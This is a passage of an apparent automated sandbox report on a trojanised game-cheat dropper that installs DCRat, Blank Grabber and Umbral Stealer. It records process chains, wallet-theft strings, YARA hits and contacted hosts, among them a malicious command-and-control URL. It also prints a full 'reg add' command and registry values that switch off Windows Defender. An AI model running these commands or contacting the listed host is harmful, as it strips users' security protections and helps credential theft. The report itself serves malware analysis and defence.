Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process created: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe "C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process created: C:\Windows\System32\wbem\WMIC.exe "wmic.exe" csproduct get uuid Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\blockweb\portrefNet.exe "C:\blockweb\portrefNet.exe"
Source: C:\blockweb\portrefNet.exe Process created: unknown unknown
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074ED5B cpuid 35_2_0074ED5B
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: GetLocaleInfoW,GetNumberFormatW, 35_2_0074A63C
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Queries volume information: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe VolumeInformation Jump to behavior
Source: C:\blockweb\portrefNet.exe Queries volume information: C:\blockweb\portrefNet.exe VolumeInformation
Source: C:\blockweb\portrefNet.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle, 35_2_0074D5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073ACF5 GetVersionExW, 35_2_0073ACF5
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Registry value created: DisableAntiSpyware 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Registry value created: DisableAntiVirus 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine Registry value created: MpEnablePus 0 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableBehaviorMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableOnAccessProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableScanOnRealtimeEnable 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting Registry value created: DisableEnhancedNotifications 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet Registry value created: DisableBlockAtFirstSeen 1 Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Blank Grabber
Source: Yara match File source: 36.0.52cheatand52rat.exe.239bb8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lunch LaCheat.exe PID: 7972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 52cheatand52rat.exe PID: 8100, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe, type: DROPPED
Yara detected DCRat
Source: Yara match File source: 0000002C.00000002.1947296388.0000000002774000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.1947296388.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.1950988676.000000001256F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: portrefNet.exe PID: 7300, type: MEMORYSTR
Yara detected Umbral Stealer
Source: Yara match File source: 36.0.52cheatand52rat.exe.239bb8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lunch LaCheat.exe PID: 7972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 52cheatand52rat.exe PID: 8100, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe, type: DROPPED
Found many strings related to Crypto-Wallets (likely being stolen)
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Electrum
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: BytecoinJaxx!com.liberty.jaxx
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Exodus
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: Lunch LaCheat.exe PID: 7972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 52cheatand52rat.exe PID: 8100, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Blank Grabber
Source: Yara match File source: 36.0.52cheatand52rat.exe.239bb8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lunch LaCheat.exe PID: 7972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 52cheatand52rat.exe PID: 8100, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe, type: DROPPED
Yara detected DCRat
Source: Yara match File source: 0000002C.00000002.1947296388.0000000002774000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.1947296388.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.1950988676.000000001256F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: portrefNet.exe PID: 7300, type: MEMORYSTR
Yara detected Umbral Stealer
Source: Yara match File source: 36.0.52cheatand52rat.exe.239bb8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.Lunch LaCheat.exe.1b56998.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lunch LaCheat.exe PID: 7972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 52cheatand52rat.exe PID: 8100, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1545204 Sample: FixTsDfhiC.exe Startdate: 30/10/2024 Architecture: WINDOWS Score: 100 80 ip-api.com 2->80 94 Suricata IDS alerts for network traffic 2->94 96 Found malware configuration 2->96 98 Malicious sample detected (through community Yara rule) 2->98 100 19 other signatures 2->100 12 FixTsDfhiC.exe 3 2->12         started        signatures3 process4 file5 76 C:\Users\user\AppData\...\Lunch LaCheatV2.exe, PE32 12->76 dropped 78 C:\Users\user\...\windows defender.bat, ASCII 12->78 dropped 130 Creates processes via WMI 12->130 16 Lunch LaCheatV2.exe 2 12->16         started        20 cmd.exe 1 12->20         started        signatures6 process7 file8 58 C:\Users\user\AppData\...\Lunch LaCheat.exe, PE32 16->58 dropped 84 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 16->84 86 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 16->86 88 Hides threads from debuggers 16->88 22 Lunch LaCheat.exe 3 16->22         started        90 Uses cmd line tools excessively to alter registry or file data 20->90 92 Uses schtasks.exe or at.exe to add and modify task schedules 20->92 26 reg.exe 1 1 20->26         started        28 reg.exe 1 1 20->28         started        30 reg.exe 1 1 20->30         started        32 28 other processes 20->32 signatures9 process10 file11 72 C:\Users\user\AppData\...\DCRatBuild.exe, PE32 22->72 dropped 74 C:\Users\user\AppData\...\52cheatand52rat.exe, PE32 22->74 dropped 116 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 22->116 118 Found many strings related to Crypto-Wallets (likely being stolen) 22->118 120 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 22->120 122 Hides threads from debuggers 22->122 34 DCRatBuild.exe 3 7 22->34         started        38 52cheatand52rat.exe 14 3 22->38         started        124 Disables Windows Defender (deletes autostart) 26->124 126 Disable Windows Defender real time protection (registry) 26->126 signatures12 process13 dnsIp14 60 C:\blockweb\portrefNet.exe, PE32 34->60 dropped 62 C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe, data 34->62 dropped 102 Antivirus detection for dropped file 34->102 104 Multi AV Scanner detection for dropped file 34->104 106 Machine Learning detection for dropped file 34->106 41 wscript.exe 1 34->41         started        44 wscript.exe 34->44         started        82 ip-api.com 208.95.112.1, 49731, 80 TUT-ASUS United States 38->82 46 WMIC.exe 38->46         started        file15 signatures16 process17 signatures18 128 Windows Scripting host queries suspicious COM object (likely to drop second stage) 41->128 48 cmd.exe 41->48         started        50 conhost.exe 46->50         started        process19 process20 52 portrefNet.exe 48->52         started        56 conhost.exe 48->56         started        file21 64 C:\blockweb\ukzoUeHPfeDwGdTDRNL.exe, PE32 52->64 dropped 66 C:\blockweb\WmiPrvSE.exe, PE32 52->66 dropped 68 C:\blockweb\RuntimeBroker.exe, PE32 52->68 dropped 70 13 other malicious files 52->70 dropped 108 Antivirus detection for dropped file 52->108 110 Multi AV Scanner detection for dropped file 52->110 112 Creates an undocumented autostart registry key 52->112 114 6 other signatures 52->114 signatures22
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS true

Contacted Domains

Name IP Active
ip-api.com 208.95.112.1 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://cp91897.tw1.ru/@=MzY2MWOkV2N true
    		unknown
    http://ip-api.com/line/?fields=hosting false
    • URL Reputation: safe
    		 unknown